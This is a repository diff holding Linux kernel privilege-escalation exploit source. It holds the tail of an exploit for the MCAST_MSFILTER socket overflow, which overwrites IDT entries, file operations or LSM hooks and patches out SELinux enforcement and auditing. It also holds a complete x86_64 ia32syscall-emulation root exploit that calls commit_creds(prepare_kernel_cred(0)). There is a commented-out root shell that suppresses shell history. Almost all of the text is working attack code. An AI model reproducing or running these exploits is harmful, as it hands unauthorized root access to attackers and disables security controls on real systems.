}__attribute__((packed));
|
||||
|
||||
struct idt64from32_s
|
||||
{
|
||||
unsigned short limit;
|
||||
unsigned long base;
|
||||
}__attribute__((packed));
|
||||
|
||||
static unsigned long long getidt()
|
||||
{
|
||||
struct idt64from32_s idt;
|
||||
memset(&idt, 0x00, sizeof(struct idt64from32_s));
|
||||
asm volatile("sidt %0" : "=m"(idt));
|
||||
return idt.base | 0xFFFFFFFF00000000ULL;
|
||||
}
|
||||
|
||||
|
||||
static int isSelinuxEnabled()
|
||||
{
|
||||
FILE *selinux_f;
|
||||
selinux_f = fopen(SELINUX_PATH, "r");
|
||||
if(selinux_f == NULL)
|
||||
{
|
||||
if(errno == EPERM)
|
||||
return 1;
|
||||
else
|
||||
return 0;
|
||||
}
|
||||
|
||||
fclose(selinux_f);
|
||||
return 1;
|
||||
}
|
||||
|
||||
static int find_kernel_release(char *out_release, char* out_version)
|
||||
{
|
||||
int ret; const char*ptr;
|
||||
int count=0;
|
||||
char r[32], *bptr;
|
||||
struct utsname buf;
|
||||
ret = uname(&buf);
|
||||
|
||||
if(ret < 0)
|
||||
return -1;
|
||||
|
||||
strcpy(out_release, buf.release);
|
||||
strcpy(out_version, buf.version);
|
||||
|
||||
ptr = buf.release;
|
||||
bptr = r;
|
||||
memset(r, 0x00, sizeof(r));
|
||||
while(*ptr)
|
||||
{
|
||||
if(count == 2)
|
||||
{
|
||||
if(*ptr >= '0' && *ptr <= '9')
|
||||
*bptr++ = *ptr;
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
if(*ptr == '.')
|
||||
count++;
|
||||
ptr++;
|
||||
}
|
||||
|
||||
if(strlen(r) < 1 || !atoi(r))
|
||||
return -1;
|
||||
|
||||
return atoi(r);
|
||||
}
|
||||
|
||||
|
||||
static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
|
||||
{
|
||||
*((unsigned long long *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
|
||||
*((unsigned long long *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
|
||||
memcpy(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
|
||||
memcpy(shellcode_selinux_bypass_idt + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
|
||||
}
|
||||
|
||||
|
||||
static unsigned long long get_sym_ex(const char* s, const char* filename, int ignore_flag)
|
||||
{
|
||||
FILE *ka;
|
||||
char line[512];
|
||||
char reloc_a[64];
|
||||
char reloc[64];
|
||||
|
||||
if(!(flags & KERN_HAS_READABLE_KSYMS) && !ignore_flag)
|
||||
return 0;
|
||||
|
||||
ka = fopen(filename, "r");
|
||||
if(!ka)
|
||||
return 0;
|
||||
|
||||
while(fgets(line, 512, ka) != NULL)
|
||||
{
|
||||
char *l_p = line;
|
||||
char *ra_p = reloc_a;
|
||||
char *r_p = reloc;
|
||||
memset(reloc, 0x00, sizeof(reloc));
|
||||
memset(reloc_a, 0x00, sizeof(reloc_a));
|
||||
while(*l_p != ' ' && (ra_p - reloc_a) < 64)
|
||||
*ra_p++ = *l_p++;
|
||||
l_p += 3;
|
||||
while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
|
||||
*r_p++ = *l_p++;
|
||||
|
||||
if(!strcmp(reloc, s))
|
||||
{
|
||||
print_stderr("$$$ %s->%s\n", s, reloc_a);
|
||||
return strtoull(reloc_a, NULL, 16);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static inline unsigned long long get_sym(const char* s)
|
||||
{
|
||||
return get_sym_ex(s, KALLSYMS, 0);
|
||||
}
|
||||
|
||||
static int parse_cred(const char* val)
|
||||
{
|
||||
int i=0;
|
||||
const char* p = val;
|
||||
char local[64], *l;
|
||||
for(i=0; i<3; i++)
|
||||
{
|
||||
memset(local, 0x00, sizeof(local));
|
||||
l = local;
|
||||
while(*p && *p != ',')
|
||||
*l++ = *p++;
|
||||
|
||||
if(!(*p) && i != 2)
|
||||
return -1;
|
||||
|
||||
_m_cred[i] = strtoull(local, NULL, 16);
|
||||
p++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#define SELINUX_OPS "selinux_ops"
|
||||
#define DUMMY_SECURITY_OPS "dummy_security_ops"
|
||||
#define CAPABILITY_OPS "capability_ops"
|
||||
#define SELINUX_ENFORCING "selinux_enforcing"
|
||||
#define AUDIT_ENABLED "audit_enabled"
|
||||
|
||||
struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
|
||||
{
|
||||
int i;
|
||||
char mapbuf[128];
|
||||
struct LSM_rhel *lsm = &(known_targets[0]);
|
||||
|
||||
if(check_rhel && !is_rhel(krelease))
|
||||
{
|
||||
print_stdout("!!! Not a RHEL kernel \n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
print_stdout("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
|
||||
for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
|
||||
{
|
||||
if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
|
||||
{
|
||||
print_stderr("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
|
||||
return lsm;
|
||||
}
|
||||
}
|
||||
|
||||
print_stdout("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
|
||||
strcpy(mapbuf, "/boot/System.map-");
|
||||
strcat(mapbuf, krelease);
|
||||
|
||||
dynamic_target.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
|
||||
dynamic_target.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
|
||||
dynamic_target.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
|
||||
dynamic_target.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
|
||||
dynamic_target.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
|
||||
|
||||
|
||||
if(!dynamic_target.selinux_ops ||
|
||||
!dynamic_target.dummy_security_ops ||
|
||||
!dynamic_target.capability_ops ||
|
||||
!dynamic_target.selinux_enforcing ||
|
||||
!dynamic_target.audit_enabled)
|
||||
return NULL;
|
||||
|
||||
|
||||
return &dynamic_target;
|
||||
}
|
||||
|
||||
static void fetch_symbols(int argc, char *argv[])
|
||||
{
|
||||
int fd,ver,ret;
|
||||
char __b[16];
|
||||
|
||||
|
||||
fd = open(KALLSYMS, O_RDONLY);
|
||||
ret = read(fd, __b, 16); // dummy read
|
||||
if((fd >= 0 && ret > 0))
|
||||
{
|
||||
print_stdout("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
|
||||
flags |= KERN_HAS_READABLE_KSYMS;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
ver = find_kernel_release(krelease, kversion);
|
||||
if(ver < 0)
|
||||
print_fatal("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
|
||||
|
||||
print_stderr("$$$ Kernel release: %s\n", krelease);
|
||||
|
||||
|
||||
if(argc != 1)
|
||||
{
|
||||
while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
|
||||
{
|
||||
switch(ret)
|
||||
{
|
||||
case 'i':
|
||||
flags |= KERN__LSM|KERN__FOPS;
|
||||
useidt=1; // u have to use -i to force IDT Vector
|
||||
break;
|
||||
|
||||
case 'f':
|
||||
flags |= KERN__LSM|KERN__IDT;
|
||||
break;
|
||||
|
||||
case 'l':
|
||||
flags |= KERN__IDT|KERN__FOPS;
|
||||
break;
|
||||
|
||||
case 'c':
|
||||
if(!optarg || parse_cred(optarg) < 0)
|
||||
print_fatal("!!! Unable to parse cred parameter\n");
|
||||
break;
|
||||
|
||||
case 'k':
|
||||
if(optarg)
|
||||
_m_fops = strtoull(optarg, NULL, 16);
|
||||
else
|
||||
print_fatal("!!! Unable to parse F0PS symbol location\n");
|
||||
break;
|
||||
|
||||
case 's':
|
||||
if(!isSelinuxEnabled())
|
||||
print_stdout("??? selinux is not enabled!?\n");
|
||||
else
|
||||
flags |= KERN__SELINUX;
|
||||
break;
|
||||
|
||||
case 'o':
|
||||
if(optarg)
|
||||
_m_cpu_off = strtoull(optarg, NULL, 16);
|
||||
else
|
||||
print_fatal("!!! Unable to parse CPU offset\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(ver >= 29) // needs cred structure
|
||||
{
|
||||
flags |= KERN_NEEDS_CREDS_SHELLCODE;
|
||||
|
||||
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
|
||||
{
|
||||
_m_cred[0] = get_sym(PREPARE_CREDS);
|
||||
_m_cred[1] = get_sym(OVERRIDE_CREDS);
|
||||
_m_cred[2] = get_sym(REVERT_CREDS);
|
||||
}
|
||||
|
||||
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
|
||||
{
|
||||
print_fatal("!!! Error in setting cred shellcode\n");
|
||||
}
|
||||
|
||||
print_stdout("$$$ Kernel Credentials detected\n");
|
||||
*((unsigned long long *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
|
||||
*((unsigned long long *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
|
||||
*((unsigned long long *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
|
||||
}
|
||||
|
||||
if(ver >= 30) // needs cpu offset
|
||||
{
|
||||
flags |= KERN_NEEDS_CPU_OFFSET;
|
||||
if(!_m_cpu_off)
|
||||
_m_cpu_off = (unsigned int)get_sym(PER_CPU_CURRENT_TASK);
|
||||
|
||||
if(!_m_cpu_off)
|
||||
print_fatal("!!! Error in setting cred shellcode\n");
|
||||
|
||||
print_stdout("$$$ Kernel per_cpu relocs enabled!\t\n");
|
||||
*((unsigned int *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
|
||||
*((unsigned int *)(shellcode_selinux_bypass_idt + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void env_prepare(int argc, char* argv[])
|
||||
{
|
||||
|
||||
fetch_symbols(argc, argv);
|
||||
|
||||
if(!(flags & KERN__FOPS)) // try fops
|
||||
{
|
||||
print_stdout("??? Trying the F0PS method\n");
|
||||
if(!_m_fops)
|
||||
_m_fops = get_sym(RW_FOPS);
|
||||
|
||||
/* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
|
||||
* Thanks to the guy who killed this vector... you know who you are:)
|
||||
* Lucky for you, there are more:)
|
||||
*/
|
||||
|
||||
if(_m_fops)
|
||||
{
|
||||
usefops=1;
|
||||
print_stdout("$$$ weapon of choice: FOPS\n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(!usefops && !(flags & KERN__LSM)) // try lsm(rhel)
|
||||
{
|
||||
curr_target = lsm_rhel_find_target(1);
|
||||
if(!curr_target)
|
||||
{
|
||||
print_stdout("!!! unable to find LSM target. Trying harder.\n");
|
||||
}
|
||||
else
|
||||
uselsm=1;
|
||||
}
|
||||
|
||||
|
||||
if(useidt && (flags & KERN__SELINUX))
|
||||
{
|
||||
// -i flag
|
||||
curr_target = lsm_rhel_find_target(0);
|
||||
if(!curr_target)
|
||||
{
|
||||
print_stdout("!!! Unable to find target: continuing without selinux disabled.\n");
|
||||
/* remove Selinux Flag */
|
||||
flags &= ~KERN__SELINUX;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(!usefops && !useidt && !uselsm)
|
||||
print_fatal("!!! 3v3ryth3ng f41l3d!!*@&^@&*^@* try an0th3r 0d4y L0l\n");
|
||||
}
|
||||
|
||||
|
||||
static inline int get_socklen(unsigned long long addr, unsigned int stack)
|
||||
{
|
||||
int socklen_l = 8 + stack - addr - 16;
|
||||
return socklen_l;
|
||||
}
|
||||
|
||||
static struct socketcallAT at;
|
||||
static unsigned int idtover[4] =
|
||||
{0x00100000UL,
|
||||
0x0020ee00UL,
|
||||
0x00000000UL,
|
||||
0x00000000UL};
|
||||
|
||||
|
||||
static void fillsocketcallAT()
|
||||
{
|
||||
at.s = s;
|
||||
at.level = SOL_IP;
|
||||
at.optname = MCAST_MSFILTER;
|
||||
at.optval = buffer;
|
||||
at.optlen = &magiclen;
|
||||
}
|
||||
|
||||
|
||||
static void perform_syscall(struct socketcallAT *at, void *stack)
|
||||
{
|
||||
asm volatile(
|
||||
"push %%ebx\t\n"
|
||||
"push %%esi\t\n"
|
||||
"push %%ecx\t\n"
|
||||
"push %%edx\t\n"
|
||||
"movl $0x66, %%eax\t\n"
|
||||
"movl $0xf, %%ebx\t\n"
|
||||
"movl %%esp, %%esi\t\n"
|
||||
"movl %0, %%ecx\t\n"
|
||||
"movl %1, %%esp\t\n"
|
||||
"int $0x80\t\n"
|
||||
"movl %%esi, %%esp\t\n"
|
||||
"pop %%edx\t\n"
|
||||
"pop %%ecx\t\n"
|
||||
"pop %%esi\t\n"
|
||||
"pop %%ebx\t\n"
|
||||
: : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi"
|
||||
);
|
||||
}
|
||||
|
||||
static void __setmcbuffer(unsigned int value)
|
||||
{
|
||||
int i;
|
||||
unsigned int *p = (unsigned int*)buffer;
|
||||
for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
|
||||
*(p+i) = value;
|
||||
}
|
||||
|
||||
static void idt_smash(unsigned long long idtbase)
|
||||
{
|
||||
int i;
|
||||
unsigned int curr;
|
||||
for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
|
||||
{
|
||||
curr = idtover[i];
|
||||
__setmcbuffer(curr);
|
||||
magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP);
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void y0y0stack()
|
||||
{
|
||||
void* map = mmap((void*)Y0Y0SMAP,
|
||||
PAGE_SIZE,
|
||||
PROT_READ|PROT_WRITE,
|
||||
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
|
||||
-1,0);
|
||||
if(MAP_FAILED == map)
|
||||
perror_fatal("mmap");
|
||||
}
|
||||
|
||||
static void y0y0code()
|
||||
{
|
||||
void* map = mmap((void*)Y0Y0CMAP,
|
||||
PAGE_SIZE,
|
||||
|
||||
#ifdef TRY_REMAP_DEFAULT
|
||||
PROT_READ|PROT_WRITE,
|
||||
#else
|
||||
PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
#endif
|
||||
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
|
||||
-1,0);
|
||||
if(MAP_FAILED == map)
|
||||
perror_fatal("mmap");
|
||||
|
||||
}
|
||||
|
||||
|
||||
static int rey0y0code(unsigned long old)
|
||||
{
|
||||
int fd;
|
||||
void *map;
|
||||
volatile char wizard;
|
||||
char cwd[1024];
|
||||
|
||||
getcwd(cwd, sizeof(cwd));
|
||||
strcat(cwd, "/__tmpfile");
|
||||
|
||||
unlink(cwd);
|
||||
fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
|
||||
if(fd < 0)
|
||||
return -1;
|
||||
|
||||
write(fd, (const void*)old, PAGE_SIZE);
|
||||
if(munmap((void*)old, PAGE_SIZE) < 0)
|
||||
return -1;
|
||||
|
||||
map = mmap((void*)old,
|
||||
PAGE_SIZE,
|
||||
PROT_READ|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_FIXED,
|
||||
fd,0);
|
||||
if(map == MAP_FAILED)
|
||||
return -1;
|
||||
|
||||
/* avoid lazy page fault handler
|
||||
* Triple Fault when using idt vector
|
||||
* and no pages are already mapped:)
|
||||
*/
|
||||
|
||||
wizard = *((char*)old);
|
||||
unlink(cwd);
|
||||
return wizard;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char*argv[])
|
||||
{
|
||||
int uid,fd;
|
||||
unsigned long long *patch, idtb;
|
||||
struct pollfd pfd;
|
||||
|
||||
|
||||
printf(BANNER);
|
||||
|
||||
uid = getuid();
|
||||
|
||||
env_prepare(argc, argv);
|
||||
|
||||
y0y0stack();
|
||||
y0y0code();
|
||||
|
||||
if(useidt)
|
||||
{
|
||||
idtb = getidt();
|
||||
print_stderr("$$$ IDT address: %llx\n", idtb);
|
||||
print_stdout("$$$ Building ringzero shellcode - IDT method\n");
|
||||
patch = (unsigned long long*)(shellcode_selinux_bypass_idt + RJMPDDTGR_OFF_IDT);
|
||||
*patch = (unsigned long long)(J0J0R00T);
|
||||
|
||||
print_stdout("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
|
||||
|
||||
if(flags & KERN__SELINUX)
|
||||
{
|
||||
print_stdout("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
|
||||
p4tch_sel1nux_codztegfaddczda(curr_target);
|
||||
}
|
||||
|
||||
memcpy((void*)J0J0S, shellcode_selinux_bypass_idt, sizeof(shellcode_selinux_bypass_idt));
|
||||
}
|
||||
else if(usefops || uselsm)
|
||||
{
|
||||
print_stdout("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");
|
||||
patch = (unsigned long long*)(ttrfd0 + RJMPDDTGR_OFF);
|
||||
*patch = (unsigned long long)(J0J0R00T);
|
||||
|
||||
__setmcbuffer(J0J0S);
|
||||
|
||||
print_stdout("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
|
||||
if(uselsm && (flags & KERN__SELINUX))
|
||||
{
|
||||
print_stdout("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
|
||||
p4tch_sel1nux_codztegfaddczda(curr_target);
|
||||
}
|
||||
memcpy((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* set shellcode level 2 */
|
||||
if(flags & KERN_NEEDS_CREDS_SHELLCODE)
|
||||
{
|
||||
print_stdout("$$$ Using cred shellcode\n");
|
||||
memcpy((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
|
||||
}
|
||||
else
|
||||
{
|
||||
print_stdout("$$$ Using standard shellcode\n");
|
||||
memcpy((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
|
||||
*((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
|
||||
}
|
||||
|
||||
print_stdout("$$$ 0pening the magic portal\n");
|
||||
s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if(s < 0)
|
||||
perror_fatal("socket");
|
||||
|
||||
fillsocketcallAT();
|
||||
|
||||
|
||||
#ifdef TRY_REMAP_DEFAULT
|
||||
if(rey0y0code(Y0Y0CMAP) < 0)
|
||||
print_fatal("!!! Unable to remap\n");
|
||||
#endif
|
||||
|
||||
if(useidt)
|
||||
{
|
||||
|
||||
unsigned long long idtentry = idtb + (2*sizeof(unsigned long long)*0xdd);
|
||||
print_stderr("$$$ Using IDT entry: %d\n", 0xdd);
|
||||
idt_smash((idtentry));
|
||||
|
||||
sleep(1);
|
||||
asm volatile("int $0xdd\t\n");
|
||||
}
|
||||
else if(usefops)
|
||||
{
|
||||
magiclen = get_socklen(_m_fops, Y0Y0STOP);
|
||||
magiclen -= 7*sizeof(unsigned long long);
|
||||
print_stderr("$$$ magic portal len found: 0x%x\n", magiclen);
|
||||
|
||||
print_stdout("$$$ overflow F0PS\n");
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
sleep(1);
|
||||
|
||||
fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
|
||||
if(fd < 0)
|
||||
perror_fatal("!!! pwn timer_list");
|
||||
|
||||
pfd.fd = fd;
|
||||
pfd.events = POLLIN | POLLOUT;
|
||||
poll(&pfd, 1, 0);
|
||||
}
|
||||
else if(uselsm)
|
||||
{
|
||||
int msgid;
|
||||
unsigned long long selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
|
||||
unsigned long long dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
|
||||
unsigned long long capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
|
||||
|
||||
|
||||
msgid = msgget(0, IPC_PRIVATE|0600);
|
||||
if(msgid < 0)
|
||||
perror_fatal("!!! msgid failure");
|
||||
|
||||
|
||||
magiclen = get_socklen(selinux_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
magiclen = get_socklen(dummy_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
magiclen = get_socklen(capability_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
perform_syscall(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
msgctl(msgid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
|
||||
}
|
||||
|
||||
munmap((void*)Y0Y0CMAP, PAGE_SIZE);
|
||||
|
||||
/* exec */
|
||||
int rc = 1;
|
||||
if(getuid() == 0)
|
||||
{
|
||||
rc = 0;
|
||||
print_stdout("$$$ pwnd\n");
|
||||
/*
|
||||
pid_t pid;
|
||||
pid = fork();
|
||||
if(pid == 0)
|
||||
{
|
||||
char *args[] = {"/bin/sh", "-i", NULL};
|
||||
char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
|
||||
"PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
|
||||
execve("/bin/sh", args, envp);
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
}
|
||||
*/
|
||||
}
|
||||
else
|
||||
print_stdout("!!! Did not get root privs\n");
|
||||
|
||||
close(s);
|
||||
return rc;
|
||||
}
|
||||
|
||||
#endif // -m32
|
Binary file not shown.
|
@ -0,0 +1,205 @@
|
|||
/*
|
||||
* exploit for x86_64 linux kernel ia32syscall emulation (again)
|
||||
* rediscovered by ben hawkes
|
||||
* with help from robert swiecki and tavis ormandy
|
||||
*
|
||||
* original vulnerability discovered by Wojciech Purczynski
|
||||
*
|
||||
* original exploit by
|
||||
* Robert Swiecki <robert_at_swiecki.net>
|
||||
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
|
||||
* Pawel Pisarczyk <pawel_at_immos.com.pl>
|
||||
*
|
||||
* kernel priv escalation code borrowed from spender
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifndef __amd64__
|
||||
int main(void) {
|
||||
printf("This really only works on compat systems, and this test was\n");
|
||||
printf("written for amd64...\n");
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/reg.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int kernelmodecode(void *file, void *vma)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
int ret = 0, oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
if (!oldstyle) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
|
||||
} else {
|
||||
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
|
||||
continue;
|
||||
}
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_') {
|
||||
p--;
|
||||
}
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
printf("resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static void docall(uint64_t *ptr, uint64_t size)
|
||||
{
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
|
||||
|
||||
printf("mapping at %lx\n", tmp);
|
||||
|
||||
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
|
||||
printf("mmap fault\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (; (uint64_t) ptr < (tmp + size); ptr++)
|
||||
*ptr = (uint64_t)kernelmodecode;
|
||||
|
||||
__asm__("\n"
|
||||
"\tmovq $0x101, %rax\n"
|
||||
"\tint $0x80\n");
|
||||
|
||||
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
|
||||
// execl("/bin/sh", "sh", NULL);
|
||||
// printf("no /bin/sh ??\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int pid, status, set = 0;
|
||||
uint64_t rax;
|
||||
uint64_t kern_s = 0xffffffff80000000;
|
||||
uint64_t kern_e = 0xffffffff84000000;
|
||||
uint64_t off = 0x0000000800000101 * 8;
|
||||
|
||||
if (argc == 4) {
|
||||
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((pid = fork()) == 0) {
|
||||
ptrace(PTRACE_TRACEME, 0, 0, 0);
|
||||
execl(argv[0], argv[0], "2", "3", "4", NULL);
|
||||
perror("exec fault");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (pid == -1) {
|
||||
printf("fork fault\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
if (wait(&status) != pid)
|
||||
continue;
|
||||
|
||||
if (WIFEXITED(status)) {
|
||||
printf("Process finished\n");
|
||||
break;
|
||||
}
|
||||
|
||||
if (!WIFSTOPPED(status))
|
||||
continue;
|
||||
|
||||
if (WSTOPSIG(status) != SIGTRAP) {
|
||||
printf("Process received signal: %d\n", WSTOPSIG(status));
|
||||
break;
|
||||
}
|
||||
|
||||
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
|
||||
if (rax == 0x000000000101) {
|
||||
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
|
||||
printf("PTRACE_POKEUSER fault\n");
|
||||
exit(1);
|
||||
}
|
||||
set = 1;
|
||||
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
|
||||
}
|
||||
|
||||
if ((rax == 11) && set) {
|
||||
ptrace(PTRACE_DETACH, pid, 0, 0);
|
||||
while (kill(pid, 0)) {
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
|
||||
printf("PTRACE_SYSCALL fault\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif // 64bit
|
|
@ -0,0 +1,16 @@
|
|||
CFLAGS=-Wall
|
||||
|
||||
